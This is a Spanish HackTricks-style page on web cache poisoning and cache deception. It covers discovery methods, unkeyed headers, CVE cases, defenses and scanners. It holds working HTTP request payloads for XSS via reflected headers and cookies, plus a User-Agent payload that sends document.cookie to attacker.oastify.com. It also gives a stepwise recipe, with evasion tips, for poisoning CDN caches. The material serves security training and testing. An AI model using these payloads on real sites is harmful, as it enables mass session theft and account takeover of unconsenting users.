Envenenamiento de Caché y Engaño de Caché

Reading time: 19 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

La diferencia

¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?

  • En el envenenamiento de caché web, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
  • En el engaño de caché web, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.

Envenenamiento de Caché

El envenenamiento de caché tiene como objetivo manipular la caché del lado del cliente para obligar a los clientes a cargar recursos que son inesperados, parciales o controlados por un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché.

La ejecución de un ataque de envenenamiento de caché implica varios pasos:

  1. Identificación de Entradas Sin Clave: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
  2. Explotación de las Entradas Sin Clave: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
  3. Asegurar que la Respuesta Envenenada esté Almacenada en Caché: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada.

Descubrimiento: Verificar encabezados HTTP

Por lo general, cuando una respuesta fue almacenada en la caché, habrá un encabezado que lo indique, puedes verificar qué encabezados debes tener en cuenta en esta publicación: Encabezados de Caché HTTP.

Descubrimiento: Códigos de error de caché

Si estás pensando que la respuesta se está almacenando en una caché, podrías intentar enviar solicitudes con un encabezado incorrecto, que debería ser respondido con un código de estado 400. Luego intenta acceder a la solicitud normalmente y si la respuesta es un código de estado 400, sabes que es vulnerable (y podrías incluso realizar un DoS).

Puedes encontrar más opciones en:

Cache Poisoning to DoS

Sin embargo, ten en cuenta que a veces estos tipos de códigos de estado no se almacenan en caché, por lo que esta prueba podría no ser confiable.

Descubrimiento: Identificar y evaluar entradas sin clave

Podrías usar Param Miner para fuerza bruta de parámetros y encabezados que pueden estar cambiando la respuesta de la página. Por ejemplo, una página puede estar utilizando el encabezado X-Forwarded-For para indicar al cliente que cargue el script desde allí:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

Con el parámetro/cabecera identificado, verifica cómo está siendo sanitizado y dónde se está reflejando o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)

Get the response cached

Una vez que hayas identificado la página que puede ser abusada, qué parámetro/cabecera usar y cómo abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.

La cabecera X-Cache en la respuesta podría ser muy útil ya que puede tener el valor miss cuando la solicitud no fue almacenada en caché y el valor hit cuando está en caché.
La cabecera Cache-Control también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: Cache-Control: public, max-age=1800

Otra cabecera interesante es Vary. Esta cabecera se usa a menudo para indicar cabeceras adicionales que se tratan como parte de la clave de caché incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el User-Agent de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese User-Agent específico.

Una cabecera más relacionada con la caché es Age. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.

Al almacenar en caché una solicitud, ten cuidado con las cabeceras que usas porque algunas de ellas podrían ser usadas inesperadamente como indexadas y la víctima necesitará usar esa misma cabecera. Siempre prueba un Cache Poisoning con diferentes navegadores para verificar si está funcionando.

Exploiting Examples

Easiest example

Una cabecera como X-Forwarded-For se está reflejando en la respuesta sin sanitizar.
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note que esto envenenará una solicitud a /en?region=uk no a /en

Envenenamiento de caché para DoS

Cache Poisoning to DoS

Envenenamiento de caché a través de CDNs

En este informe se explica el siguiente escenario simple:

  • El CDN almacenará en caché cualquier cosa bajo /share/
  • El CDN NO decodificará ni normalizará %2F..%2F, por lo tanto, se puede usar como traversal de ruta para acceder a otras ubicaciones sensibles que serán almacenadas en caché como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • El servidor web SÍ decodificará y normalizará %2F..%2F, y responderá con /api/auth/session, que contiene el token de autenticación.

Usando el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies

Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que cargan la respuesta de caché maliciosa.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Nota que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.

Generando discrepancias con delimitadores, normalización y puntos

Verifica:

Cache Poisoning via URL discrepancies

Envenenamiento de caché con recorrido de ruta para robar la clave de API

Este informe explica cómo fue posible robar una clave de API de OpenAI con una URL como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 porque cualquier cosa que coincida con /share/* será almacenada en caché sin que Cloudflare normalice la URL, lo cual se hizo cuando la solicitud llegó al servidor web.

Esto también se explica mejor en:

Cache Poisoning via URL discrepancies

Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web

A veces necesitarás explotar varias entradas sin clave para poder abusar de una caché. Por ejemplo, puedes encontrar un Redireccionamiento abierto si configuras X-Forwarded-Host a un dominio controlado por ti y X-Forwarded-Scheme a http. Si el servidor está reenviando todas las solicitudes HTTP a HTTPS y usando el encabezado X-Forwarded-Scheme como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Explotando con un encabezado Vary limitado

Si descubres que el encabezado X-Host se está utilizando como nombre de dominio para cargar un recurso JS pero el encabezado Vary en la respuesta indica User-Agent. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Hay un laboratorio de portswigger sobre esto: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Ocultación de Parámetros

Por ejemplo, es posible separar parámetros en servidores ruby usando el carácter ; en lugar de &. Esto podría usarse para poner valores de parámetros no clave dentro de parámetros clave y abusar de ellos.

Laboratorio de Portswigger: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Explotación de la Contaminación de Caché HTTP abusando del HTTP Request Smuggling

Aprende aquí cómo realizar ataques de Contaminación de Caché abusando del HTTP Request Smuggling.

Pruebas Automatizadas para la Contaminación de Caché Web

El Escáner de Vulnerabilidades de Caché Web se puede usar para probar automáticamente la contaminación de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.

Uso de ejemplo: wcvs -u example.com

XSS de reflexión de encabezados + siembra de caché asistida por CDN/WAF (User-Agent, .js auto-cacheado)

Este patrón del mundo real encadena un primitivo de reflexión basado en encabezados con el comportamiento de CDN/WAF para contaminar de manera confiable el HTML en caché servido a otros usuarios:

  • El HTML principal reflejó un encabezado de solicitud no confiable (por ejemplo, User-Agent) en un contexto ejecutable.
  • El CDN eliminó los encabezados de caché, pero existía un caché interno/origin. El CDN también auto-cacheó solicitudes que terminaban en extensiones estáticas (por ejemplo, .js), mientras que el WAF aplicó una inspección de contenido más débil a los GET para activos estáticos.
  • Las peculiaridades del flujo de solicitudes permitieron que una solicitud a una ruta .js influyera en la clave/variante de caché utilizada para el HTML principal subsiguiente, habilitando XSS entre usuarios a través de la reflexión de encabezados.

Receta práctica (observada en un popular CDN/WAF):

  1. Desde una IP limpia (evitar degradaciones basadas en reputación previas), establece un User-Agent malicioso a través del navegador o Burp Proxy Match & Replace.
  2. En Burp Repeater, prepara un grupo de dos solicitudes y usa "Enviar grupo en paralelo" (el modo de paquete único funciona mejor):
  • Primera solicitud: GET a una ruta de recurso .js en el mismo origen mientras envías tu User-Agent malicioso.
  • Inmediatamente después: GET a la página principal (/).
  1. La carrera de enrutamiento del CDN/WAF más el .js auto-cacheado a menudo siembra una variante de HTML en caché contaminada que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (por ejemplo, las mismas dimensiones Vary como User-Agent).

Carga útil de encabezado de ejemplo (para exfiltrar cookies no HttpOnly):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Consejos operativos:

  • Muchos CDNs ocultan los encabezados de caché; la contaminación puede aparecer solo en ciclos de actualización de varias horas. Utiliza múltiples IPs de vantage y limita la velocidad para evitar desencadenar límites de tasa o problemas de reputación.
  • Usar una IP de la propia nube del CDN a veces mejora la consistencia del enrutamiento.
  • Si hay un CSP estricto presente, esto aún funciona si la reflexión se ejecuta en el contexto HTML principal y el CSP permite la ejecución en línea o se elude por el contexto.

Impacto:

  • Si las cookies de sesión no son HttpOnly, es posible un ATO de un clic cero al exfiltrar masivamente document.cookie de todos los usuarios a los que se les sirve el HTML contaminado.

Defensas:

  • Deja de reflejar los encabezados de solicitud en HTML; codifica estrictamente el contexto si es inevitable. Alinea las políticas de caché del CDN y del origen y evita variar en encabezados no confiables.
  • Asegúrate de que el WAF aplique la inspección de contenido de manera consistente a las solicitudes .js y rutas estáticas.
  • Establece HttpOnly (y Secure, SameSite) en las cookies de sesión.

Ejemplos vulnerables

Apache Traffic Server (CVE-2021-27577)

ATS reenvió el fragmento dentro de la URL sin eliminarlo y generó la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Así que la solicitud /#/../?r=javascript:alert(1) se envió al backend como /#/../?r=javascript:alert(1) y la clave de caché no tenía la carga útil dentro de ella, solo host, ruta y consulta.

GitHub CP-DoS

Enviar un valor incorrecto en el encabezado content-type activó una respuesta 405 en caché. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.

GitLab + GCP CP-DoS

GitLab utiliza buckets de GCP para almacenar contenido estático. Los Buckets de GCP soportan el encabezado x-http-method-override. Por lo tanto, era posible enviar el encabezado x-http-method-override: HEAD y contaminar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método PURGE.

Rack Middleware (Ruby on Rails)

En aplicaciones Ruby on Rails, a menudo se utiliza middleware Rack. El propósito del código Rack es tomar el valor del encabezado x-forwarded-scheme y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado x-forwarded-scheme: http, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado X-forwarded-host y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.

403 y Buckets de Almacenamiento

Cloudflare anteriormente almacenaba en caché las respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché las respuestas 403, este comportamiento podría seguir presente en otros servicios de proxy.

Inyección de Parámetros Clave

Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro size en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, siz%65) con un valor erróneo, la clave de caché se construiría utilizando el parámetro size correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. La codificación en URL del segundo parámetro size llevó a su omisión por la caché, pero su utilización por el backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.

Reglas de User Agent

Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con los de herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como la contaminación de caché y DoS.

Campos de Encabezado Ilegales

El RFC7230 especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango tchar especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado cache-control no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como \, resultaría en un error 400 Bad Request que se podía almacenar en caché.

Encontrando nuevos encabezados

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Engaño de Caché

El objetivo del Engaño de Caché es hacer que los clientes carguen recursos que se van a guardar en la caché con su información sensible.

Primero, ten en cuenta que las extensiones como .css, .js, .png, etc., suelen estar configuradas para ser guardadas en la caché. Por lo tanto, si accedes a www.example.com/profile.php/nonexistent.js, la caché probablemente almacenará la respuesta porque ve la extensión .js. Pero, si la aplicación está reproduciendo con los contenidos sensibles del usuario almacenados en www.example.com/profile.php, puedes robar esos contenidos de otros usuarios.

Otras cosas para probar:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Usa extensiones menos conocidas como .avif

Otro ejemplo muy claro se puede encontrar en este informe: https://hackerone.com/reports/593712.
En el ejemplo, se explica que si cargas una página inexistente como http://www.example.com/home.php/non-existent.css, el contenido de http://www.example.com/home.php (con la información sensible del usuario) se devolverá y el servidor de caché guardará el resultado.
Luego, el atacante puede acceder a http://www.example.com/home.php/non-existent.css en su propio navegador y observar la información confidencial de los usuarios que accedieron antes.

Ten en cuenta que el proxy de caché debe estar configurado para almacenar en caché archivos basados en la extensión del archivo (.css) y no basarse en el tipo de contenido. En el ejemplo http://www.example.com/home.php/non-existent.css tendrá un tipo de contenido text/html en lugar de un tipo MIME text/css (que es el esperado para un archivo .css).

Aprende aquí cómo realizar ataques de Engaño de Caché abusando de HTTP Request Smuggling.

Herramientas Automáticas

  • toxicache: Escáner de Golang para encontrar vulnerabilidades de contaminación de caché web en una lista de URLs y probar múltiples técnicas de inyección.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks